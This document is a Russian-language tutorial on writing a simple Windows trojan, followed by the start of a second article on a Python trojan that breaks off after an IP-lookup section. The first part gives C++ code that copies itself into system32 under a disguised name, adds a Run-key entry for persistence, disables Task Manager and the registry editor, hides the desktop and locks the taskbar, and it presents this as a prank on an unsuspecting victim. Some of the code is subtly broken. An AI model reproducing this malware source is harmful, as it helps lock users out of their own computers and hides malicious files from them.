Пишем простой троян
Всем привет. Сейчас я тебе расскажу, как написать троянскую программу. Хотя троян считается вредоносной программой, и в этом материале я покажу пример явно нешуточной программки (даже если и шуточной, то шутка будет очень злой), на основе этого материала и твоей фантазии можно сделать почти безобидную программу-шутку.
Перед тем как начать, хочу сказать, что я не несу никакой ответственности за то как и в каких целях, ты будешь использовать данный материал. Однако хочу обратить твое внимание на то, что уголовный кодекс запрещает написание и использование подобного программного обеспечения.
Итак, сегодня мы узнаем, как добавить нашу программу в автозапуск, как запретить вызов диспетчера задач и редактора реестра, как заблокировать панель задач и как скрыть рабочий стол. Естественно, все это мы будем делать программно. А так же, помимо всего вышеперечисленного, ты узнаешь (или вспомнишь те, что уже знал) немного нового и полезного материала, который сможет пригодиться тебе в будущем.
Наша программа будет создавать в папке с ОС .exe файл. Для маскировки наш файл будет называться regupd.exe. Этот файл будет помещаться в автозапуск. Это значит, что при загрузке операционной системы будет запускаться наш файл. Созданный нами файл будет блокировать панель задач, скрывать рабочий стол (на нем не будет ни одного ярлыка), а так же запрещать запуск стандартного редактора реестра и диспетчер задач. Естественно, что у понимающего человека это не вызовет паники, но все же он не сразу поймет в чем дело и как решать проблему. А вот какую-нибудь подружку-блондинку это заставит понервничать и обратиться за помощью (Прим. редактора: возможно, даже и к тебе. А ты уже сам решай, как распорядиться такой ситуацией ).
Еще одним большим минусом нашей программы является то, что любой нормальный антивирус ее обнаружит и заблокирует ей доступ к системе. Но если говорить про все ту же подружку, то она вряд ли знает что такое антивирус и что с ним делать.
В общем, программа неидеальна, и вряд ли стоит писать этот материал, но кому-то он может здорово пригодиться. Далее я предлагаю тебе код программы с подробным описанием.
Перед тем, как набирать код, нам необходимо настроить приложение. Я буду использовать компилятор Microsoft Visual Studio 2010. Если у тебя такой же компилятор (или более ранние версии), то для подготовки проекта проделай следующие шаги:
Шаг 1: File (Файл) – New (Новый) – Project (Проект) (Ctrl+Shift+N)
Шаг 2: В Installed Templates (Установленные шаблоны) выбираем Visual C++ — Win32 – Win32 Project. Даем нашему проекту имя, например Trojan. И нажимаем OK.
Шаг 3: В Application Wizard (Мастер приложения) заходим в пункт меню Application Settings (Настройки приложения) и отмечаем пункты Windows Application (Приложение Windows) для свойства Application type (Тип приложения), и Precompiled header (Прекомпилированный заголовок) для свойства Additional options (Дополнительные настройки). Далее жмем кнопку Finish (Готово).
Шаг 4: Жмем Alt+F7. Далее настраиваем все как на рисунке:
и жмем «Применить»
Шаг 5: Из редактора кода удаляем все, кроме подключенных заголовков и функции main(). В функции main() удаляем все, кроме открывающей и закрывающей скобок, а перед закрывающей скобкой пишем строку “return 0;”.
У тебя должно получиться что-то типа этого:
#include «stdafx.h»
#include «Trojan.h»
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
<
return 0;
>
Все! Теперь у нас все готово к написанию кода!
Сначала надо подключить заголовочный файл windows.h. В нем содержаться описания всех API – функций, все общие макросы и все типы данных, используемые различными функциями и подсистемами. Так же в файле windows.h подключается файл windef.h, в котором определена константа MAX_PATH (ей мы будем пользоваться далее). Значение этой константы зависит от ОС и ФС (файловой системы). Для WinXP с файловой системой NTFS это значение равно 260. Кроме windows.h нам больше ничего не понадобится подключать, поэтому переходим к функции main(). В принципе, наша программа будет состоять только из функции main(), поэтому кидать сразу весь код бесполезно. Я объясню весь код по частям, а в конце раздела кину весь код, который должен у нас получиться.
Добавь в свой код между открывающей фигурной скобкой ( < ) и оператором return следующий код:
char system[MAX_PATH];
char pathtofile[MAX_PATH];
GetModuleFileName(HModule, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
CopyFile(pathtofile, system, false);
Теперь надо разобраться со всем, что тут происходит.
Вначале объявляются две буферные переменные, в первой будет храниться путь к папке с системой (system32), а во второй — путь к нашему «вирусу». Про константу MAX_PATH я уже написал выше. Далее мы объявляем тип HMODULE, пока что просто расскажу, что этот тип можно рассматривать как дескриптор файла, хранящегося на диске. HMODULE описывает содержимое файла и его структуру. Подробнее о HMODULE Вы можете прочитать тут: ]]> http://www.transl-gunsmoker.ru/2009/04/hinstance-hmodule.html ]]>
Функция GetModuleHandle с параметром NULL возвращает дескриптор файла, используемого для создания вызывающего процесса. Функция GetModuleFileName записывает в переменную pathtofile путь к файлу с дескриптором HModule. Теперь у нас в переменной pathtofile хранится путь к нашему файлу. Нам осталось перекинуть этот файл в папку system32.
Я думаю, что смысл следующей функции понятен из названия: она копирует путь к папке system32 в переменную system. Функцией strcat мы добавляем к переменной system (в которой хранится путь к папке system32) строку «\\regupd.exe», именно так будет называться наша программка в папке с системой. Это сделано на случай, если вдруг жертва зайдет в эту папку, она не смогла сразу обнаружить наш «вирус». Согласись, файл regupd вызывает меньше подозрений, чем файл MyVirus.
Ну, и в конце этого куска кода мы копируем файл (с помощью функции CopyFile), который расположен по пути из переменной pathtofile, в место, указанное в переменной system. Параметр false значит, что если такой файл существует, то он будет заменен.
Скомпилируй эту программу и зайди в папку system32. Там ты можешь увидеть наш вновь созданный файл. Теперь нам осталось внедрить наш файл в автозагрузку и сделать какую-нибудь пакость. Первая проблема решается следующим образом:
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, «Software\\Microsoft\\Windows\\CurrentVersion\\Run», 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, «Registry Update»,0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
В первой строке кода объявляется переменная типа HKEY. Этот тип является дескриптором ключа реестра. В файле windef.h этот тип определен как
typedef HANDLE HKEY
Далее, с помощью функции RegOpenKeyEx мы открываем нужный нам ключ реестра. Первый параметр идентифицирует дескриптор ключа реестра, в нашем случае это — HKEY_LOCAL_MACHINE. В этом разделе реестра содержаться настройки, относящиеся к данному компьютеру (для всех пользователей). Второй параметр представляет собой адрес имени открываемого подключа. По адресу, указанному в качестве второго параметра нашей функции, хранятся пути к программам, запускаемых при запуске системы. Третий параметр функции является зарезервированным и должен быть равен нулю. Следующий параметр определяет тип доступа для нашего ключа. Используемое нами значение применяется для права устанавливать значения подключей. Ну, и последний параметр — адрес переменной, в которую возвращается дескриптор открытого ключа.
Функция RegSetValueEx сохраняет данные в поле значения открытого ключа реестра. Первый параметр идентифицирует открытый в текущий момент ключ. Второй параметр является адресом имени устанавливаемого значения, если значения с таким именем не существует, функция создаст его. Третий параметр зарезервирован и должен быть нулем. За ним следует тип значения добавляемой переменной. REG_SZ значит, что ключ должен содержать строковое значение. Предпоследний и последний параметры представляют собой адрес строки, содержащей значение и ее размер.
Функция RegCloseKey() закрывает дескриптор ключа.
Вот, собственно, и все, с первой поставленной задачей мы разобрались: у нас получилось внедрить наш файл в автозагрузку. Осталось придумать какую–нибудь шутку.
То, что придумал я, ты уже знаешь. Сейчас я просто покажу, как это реализовать. Для начала немного справочного материала:
Для запрета запуска Диспетчера задач, выполним следующие действия:
1. Перейдем в раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System.
2. Создадим в нем новый параметр DisableTaskMgr (типа DWORD) и присвоим ему значение 1.
3. Выйдем из Редактора реестра.
Запрет диспетчера задач нам надо для того, чтобы наш процесс не смогли убить с помощью диспетчера задач. Хотя его можно убить с помощью tasklist – taskkill, не все знают об этом способе.
А далее мы заблокируем реестр, что бы нельзя было изменить значение параметра DisableTaskMgr на 0.
1. Перейдем в раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System.
2. Создадим в нем новый параметр DisableRegistryTools (типа DWORD) и присвоим ему значение 1.
3. Выйдем из Редактора реестра.
Вот и все и реестр и диспетчер задач заблокированы. Теперь наше приложение будет не так то просто убить.
Вот код, реализующий все вышесказанное и еще кое-что:
DWORD value=1;
RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableTaskMgr», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableRegistryTools», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «NoDesktop», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
hTaskBar = FindWindow(«Shell_TrayWnd»,NULL);
EnableWindow(hTaskBar,!value);
Тут все понятно, кроме последних 6ти строк. Первые три из этих шести убирают рабочий стол.
Что бы скрыть рабочий стол:
1. Перейдем в раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer.
2. Создадим в нем новый параметр NoDesktop(типа DWORD) и присвоим ему значение 1.
3. Выйдем из Редактора реестра.
А далее мы находим дескриптор панели задач и делаем ее (панель задач недоступной).
Вот так выглядит весь код:
#include «stdafx.h»
#include «vir.h»
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
<
char system[MAX_PATH];
char pathtofile[MAX_PATH];
GetModuleFileName(GetHModule, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
CopyFile(pathtofile, system, false);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, «Software\\Microsoft\\Windows\\CurrentVersion\\Run», 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, » Registry Update»,0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableTaskMgr», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «DisableRegistryTools», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CURRENT_USER, «Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer», 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, «NoDesktop», NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
hTaskBar = FindWindow(«Shell_TrayWnd»,NULL);
EnableWindow(hTaskBar,!value);
Вот такая вот моя шутка. Если вдруг кто-нибудь захочет ее протестировать, то перед этим установи сторонний редактор реестра, чтобы изменить в нем все вышеупомянутые значения на 0. Так же ты знаешь, где лежит наш вредоносный файл. Чтобы восстановить панель задач, в диспетчере задач убей процесс explorer.exe и запустите его снова.
Вообще, трояны — самый простой вид вредоносных программ, сложность которых зависит исключительно от сложности истинной задачи и средств маскировки. В качестве средства маскировки мы назвали его RegUpd и в реестре создали параметр Registry Update, что бы наша программа вызывала меньше подозрений. А вот, что касается истинной задачи, то тут все перекладывается на твою фантазию, что придумаешь, то и будет делать троян.
Кстати, пиши свои идеи и их реализации в комментариях. Если не получилось реализовать – пиши просто идеи, попробуем реализовать вместе. Если комментариев будет много, создадим тему на форуме с идеями для шуток и их реализацией.
Все, на этом наш урок закончен. Надеюсь, что кому-то пригодился этот материал. И хотя ты можешь использовать его в каких угодно целях, лучше использовать его для безобидных шуток.
Крадущийся питон. Создаем простейший троян на Python
Содержание статьи
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f’<> ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).